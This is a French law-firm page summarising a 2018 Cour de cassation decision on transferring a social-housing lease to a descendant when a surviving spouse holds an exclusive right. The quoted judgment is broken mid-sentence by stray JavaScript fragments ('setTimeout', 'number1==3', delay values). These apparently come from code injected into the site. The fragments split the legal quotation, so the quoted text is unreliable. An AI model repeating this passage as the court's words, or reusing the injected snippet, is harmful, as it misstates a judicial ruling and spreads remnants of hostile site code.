Lemoine avocat

Le transfert de bail à descendant

Le transfert de bail à descendant

Le transfert de bail à descendant

Transfert de bail à un descendant

(Civ., 3ème, 28 juin 2018, n°17-20409)

Dans un arrêt en date du 28 juin 2018, la Cour de cassation a jugé :

« Mais attendu qu’ayant relevé que l’article 1751 du code civil accorde au conjoint survivant un droit exclusif sur le logement qui servait effectivement à l’habitation des époux avant le décès, sauf renonciation de sa part, non invoquée en l’espèce, et retenu à bon droit que ce droit exclusif prive les héritiers qui vivent dans les lieux au moment du décès du preneur de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout droit locatif en présence d’un conjoint survivant, la cour d’appel, qui a constaté que, lors du décès de sa mère, Mme X… ne remplissait pas les conditions de transfert du bail prévues par l’article 40-I de la loi du 6 juillet 1989 dans sa rédaction applicable, en a exactement déduit que celle-ci ne pouvait bénéficier du transfert du bail à son profit ; »

Dans cette affaire, un bailleur social avait donné à bail à Monsieur X… un appartement de quatre pièces qu’il a occupé avec son épouse et leurs enfants ; que Monsieur X… est décédé en 2004 et Madame X…, son épouse, est décédée en 2013. Leur fille, Mme X…, a sollicité le transfert du bail à son profit et la société bailleresse s’y est opposée au motif qu’elle ne remplissait pas la condition d’adaptation du logement à la taille du ménage et l’a assignée en expulsion comme étant occupante sans droit ni titre.